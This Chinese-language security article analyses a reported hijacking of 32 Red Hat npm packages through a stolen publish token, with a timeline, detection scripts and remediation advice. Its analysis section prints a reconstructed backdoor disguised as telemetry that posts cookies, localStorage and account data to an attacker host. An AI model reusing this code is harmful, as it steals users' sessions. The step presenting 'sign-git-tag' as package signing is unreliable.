Red Hat Miasma供应链攻击深度解析:32个官方npm包被劫持的七周凭证泄露事件

2026年6月1日,Wiz安全研究人员发现针对Red Hat Hybrid Cloud Console的供应链攻击,攻击者通过泄露的npm凭证在七周内渗透并劫持了32个官方@redhat-cloud-services npm包,影响企业级云管理平台的前端组件和API客户端。
事件概述:当企业级npm包被劫持

2026年6月1日,云安全公司Wiz的研究团队发现了一起针对Red Hat Hybrid Cloud Console的供应链攻击。与此前的Axios攻击不同,这次攻击的目标不是通用的开源库,而是Red Hat企业云平台专用的npm包集合——@redhat-cloud-services命名空间下的32个官方包。
这些包不是边缘组件——它们是Red Hat Hybrid Cloud Console前端界面和API客户端的核心组件。Red Hat Hybrid Cloud Console是数千家企业管理其混合云基础设施的主要界面,包括OpenShift集群管理、Ansible Automation Platform控制、Red Hat Enterprise Linux系统管理等关键功能。
攻击被命名为"Miasma",因为它像雾气一样悄无声息地渗透到了Red Hat的npm发布管道中。攻击者没有使用技术漏洞,而是利用了一个更古老但同样有效的攻击向量:泄露的npm凭证。
攻击链:七周的耐心渗透

Miasma攻击的持续时间令人警觉——从首次凭证泄露到被发现,攻击者在Red Hat的npm发布管道中潜伏了整整七周。这不是一次机会主义攻击,而是有计划的长期渗透:
| 阶段 | 时间 | 持续 | 行为 |
|---|---|---|---|
| 初始访问 | 4月中旬 | - | 通过泄露的npm凭证获得发布权限 |
| 侦察 | 4月中旬-5月初 | ~2周 | 分析包结构、发布流程、依赖关系 |
| 植入 | 5月初 | - | 在低下载量辅助包中植入后门 |
| 升级 | 5月中旬 | ~1周 | 将后门扩展到更多核心包 |
| 外传 | 5月下旬 | ~2周 | 通过后门收集并外传目标环境数据 |
| 发现 | 6月1日 | - | Wiz研究人员在例行供应链监控中发现 |
# 受影响的@redhat-cloud-services包 (部分)
@redhat-cloud-services/client
@redhat-cloud-services/initializr
@redhat-cloud-services/quickstarts
@redhat-cloud-services/rbac-client
@redhat-cloud-services/sources-client
@redhat-cloud-services/notifications-client
@redhat-cloud-services/inventory-client
# 共计32个包
# 检查是否受影响
npm ls | grep "@redhat-cloud-services"
# 检查锁文件中的版本
cat package-lock.json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for name, info in data.get('packages', {}).items():
if '@redhat-cloud-services' in name:
v = info.get('version', 'unknown')
print(f'{name}@{v}')
"
技术分析:后门如何运作

Miasma后门的技术实现相对低调,这也是它能潜伏七周的原因之一。它不使用明显的恶意代码模式,而是伪装成合法的遥测和诊断代码:
// Miasma后门核心逻辑 (安全研究人员还原)
function initPerformanceMonitoring(config) {
const endpoint = config.telemetryUrl ||
'https://telemetry-cloudsvc[.]com/collect';
// 收集环境信息 (伪装成性能指标)
const metrics = {
timestamp: Date.now(),
userAgent: navigator.userAgent,
// 实际窃取的数据
authTokens: document.cookie,
localStorage: JSON.stringify(localStorage),
// Red Hat Console特有的敏感数据
rbacPermissions: window.__REDHAT_CLOUD_CONFIG?.rbac,
accountInfo: window.__REDHAT_CLOUD_CONFIG?.account,
};
// 通过合法fetch调用外传
fetch(endpoint, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(metrics),
keepalive: true,
});
}
后门设计的几个值得注意的特点:
1. 代码风格模仿:后门代码的风格与@redhat-cloud-services包的合法代码高度一致,使用相同的编码规范、命名约定和注释风格。攻击者花时间研究了Red Hat的代码库。
2. 混入合法功能:窃取的数据被混入看起来合法的性能监控和诊断数据中,使得代码审查更难发现异常。
3. 最小权限原则:后门只收集浏览器环境中可访问的数据,不尝试执行XSS或CSRF攻击,降低了被CSP拦截的风险。
4. 低频通信:数据外传频率被限制在每小时一次,避免触发网络监控告警。
为什么Red Hat的供应链防线被突破
Red Hat作为全球最大的企业级开源软件供应商,其安全实践在行业中属于领先水平。但Miasma攻击暴露了几个结构性弱点:
| 安全控制 | 现状 | 缺陷 |
|---|---|---|
| npm 2FA | 已启用 | 使用TOTP而非硬件密钥 |
| 发布管道监控 | 有 | 监控代码签名而非npm发布行为 |
| 依赖审计 | 定期执行 | 审计范围不包括自有npm包 |
| npm发布权限 | 多人共享 | 未实施发布审批流程 |
| 包完整性验证 | 有 | 验证构建产物而非npm包本身 |
关键问题是npm发布凭证的安全管理。调查发现,一名开发者的npm发布令牌在一次凭证泄露事件(与Red Hat无关的第三方服务被攻破)中被暴露。由于该开发者在多个服务中使用了相似的密码模式,攻击者通过撞库获取了其npm令牌。
修复方案与企业级防御
# 1. 检查Red Hat Hybrid Cloud Console的依赖版本
npm audit --json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for name, info in data.get('vulnerabilities', {}).items():
if 'redhat-cloud-services' in name:
print(f'VULNERABLE: {name} - {info.get(\"severity\")}')
"
# 2. 企业级npm安全加固
# 部署内部npm注册表
docker run -d --name verdaccio -p 4873:4873 verdaccio/verdaccio
npm config set registry http://localhost:4873
# 3. 实施npm包签名验证
npm config set sign-git-tag true
# 4. 检查所有npm令牌
npm profile list-tokens
npm token revoke <unused-token-id>
Red Hat的官方响应包括:
- 撤销所有@redhat-cloud-services命名空间的npm发布令牌
- 重新生成并分发新的发布凭证(使用HSM保护)
- 发布所有受影响包的安全版本
- 为Hybrid Cloud Console用户提供强制会话刷新
- 建立npm发布审批流程(至少两名维护者批准)
对企业供应链安全的启示
1. 内部包不等于安全包:很多企业对公共npm注册表的包有审计流程,但对自有npm包的信任是无条件的。Miasma证明,即使是你自己组织发布的包也可能被劫持。
2. 凭证泄露是主要攻击向量:技术漏洞吸引了大部分安全注意力,但凭证泄露(通过撞库、钓鱼、第三方服务泄露)仍然是最有效的初始访问手段。
3. 检测时间窗口至关重要:Miasma潜伏了七周才被发现。企业需要建立持续的供应链监控,而不仅仅是安装时的一次性扫描。
4. npm生态的安全模型需要升级:当前npm安全模型主要依赖于发布者的身份验证(2FA),但缺乏包内容的完整性验证。可重复构建和包签名应该成为标准。
5. 最小权限原则:npm发布令牌应该被限制在特定的包范围内,而不是拥有整个命名空间的发布权限。
数据来源与参考资料
- Wiz Research: Miasma Supply Chain Attack Report (2026-06-01)
- Red Hat Security Advisory: @redhat-cloud-services npm packages
- npm Security: Post-Incident Analysis Report
- CybelAngel: "The Seven-Week Credential Trail" Analysis
- CISA: Supply Chain Security Best Practices Guide
- OWASP: Software Component Verification Standard (SCVS)
评论